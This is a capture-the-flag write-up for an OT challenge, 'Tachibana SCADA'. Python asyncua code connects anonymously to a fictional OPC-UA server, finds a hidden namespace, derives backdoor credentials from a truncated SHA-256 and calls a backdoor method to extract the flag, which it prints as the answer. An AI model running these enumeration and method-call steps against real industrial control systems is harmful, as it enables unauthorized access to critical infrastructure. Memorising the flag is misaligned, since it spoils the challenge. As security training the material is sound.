# Tachibana SCADA | Field | Value | |-------|-------| | Category | OT | | Difficulty | Medium-Hard | | Points | 500 | | Author | Eun0us | | CTF | Espilon 2026 | --- ## Description After the KIDS incident, forensic investigators found an OPC-UA server still running on the isolated SCADA segment at Tachibana General Laboratories. The server allows anonymous connections. Beneath the standard industrial data, there is a hidden namespace registered by Eiri Masami before his termination. Browse the address space. Find the hidden namespace. There is a method that was never meant to be called. - OPC-UA Binary: `tcp/:4840` Format: **ESPILON{flag}** --- ## TL;DR Connect anonymously to the OPC-UA server. Read the namespace array to find the hidden `urn:tachibana:eiri:kids` namespace. Browse it to find `Backdoor/Authenticate` and `Backdoor/ExtractResearchData` methods. Derive credentials from the namespace URI (username=`eiri`, key_hash=`SHA256("KIDS")[:16]`). Call Authenticate, then call ExtractResearchData with `project_id=7` to get the flag. --- ## Tools | Tool | Purpose | |------|---------| | Python 3 + `asyncua` | OPC-UA async client | | Python 3 + `hashlib` | SHA-256 key hash derivation | --- ## Solution ### Step 1 — Connect anonymously ```python import asyncio from asyncua import Client async def exploit(): async with Client("opc.tcp://:4840/tachibana/") as c: # Step 2: discover namespaces ns_array = await c.get_namespace_array() print(ns_array) ``` ``` ['http://opcfoundation.org/UA/', 'urn:tachibana:scada', ← public SCADA data 'urn:tachibana:eiri:kids'] ← HIDDEN namespace ``` ![NamespaceArray showing the hidden eiri:kids namespace at index 3](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/tachibana_ns.png) ### Step 2 — Browse the public namespace (ns=2) Standard SCADA data: power distribution, cooling systems, Wired Interface Array. Note `Resonance_Hz = 7.83` — a Schumann resonance breadcrumb. ### Step 3 — Browse the hidden namespace (ns=3) ```python async with Client("opc.tcp://:4840/tachibana/") as c: ns = await c.get_namespace_index("urn:tachibana:eiri:kids") root = c.nodes.root eiri = await root.get_child([f"0:Objects", f"{ns}:EiriMasami"]) kids = await eiri.get_child(f"{ns}:KIDS_Project") bkdr = await eiri.get_child(f"{ns}:Backdoor") # Variables inside KIDS_Project subject_count = await (await kids.get_child(f"{ns}:SubjectCount")).get_value() protocol7_version = await (await kids.get_child(f"{ns}:Protocol7_Version")).get_value() # Protocol7_Version = "7.0.0-alpha" → project_id = 7 # Methods inside Backdoor auth_method = await bkdr.get_child(f"{ns}:Authenticate") extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData") ``` ![browse output showing EiriMasami folder with KIDS_Project and Backdoor subfolder](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/tachibana_browse.png) ### Step 4 — Read method argument descriptions `Authenticate(username: String, key_hash: ByteString) -> session_token: String` The `key_hash` InputArguments description says: *"16-byte truncated SHA-256 of the project name"* ### Step 5 — Derive credentials - **username**: `eiri` — from the namespace URI `urn:tachibana:eiri:kids` - **key_hash**: SHA-256 of the project name, truncated to 16 bytes ```python import hashlib # Project name = "KIDS" — from the namespace path urn:tachibana:eiri:kids key_hash = hashlib.sha256(b"KIDS").digest()[:16] ``` ![key_hash computation in Python REPL](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/tachibana_keyhash.png) ### Step 6 — Authenticate ```python async with Client("opc.tcp://:4840/tachibana/") as c: ns = await c.get_namespace_index("urn:tachibana:eiri:kids") bkdr = await c.nodes.root.get_child( [f"0:Objects", f"{ns}:EiriMasami", f"{ns}:Backdoor"]) auth_method = await bkdr.get_child(f"{ns}:Authenticate") result = await c.nodes.root.call_method( auth_method, "eiri", key_hash) session_token = result[0] print(f"Token: {session_token}") ``` ### Step 7 — Extract Protocol Seven (project_id=7) ```python extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData") data = await c.nodes.root.call_method( extract_method, session_token, 7) print(data[0]) # ESPILON{31r1_k1ds_pr0t0c0l_s3v3n} ``` ![ExtractResearchData method call returning the flag](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/tachibana_flag.png) ### Key insights - Namespace URI `urn:tachibana:eiri:kids` directly embeds both the username (`eiri`) and the hash source (`kids`) - `Protocol7_Version = "7.0.0-alpha"` encodes `project_id = 7` - Anonymous OPC-UA access is a real-world ICS misconfiguration — no authentication required - Method argument `description` properties provide all hints needed --- ## Flag `ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}`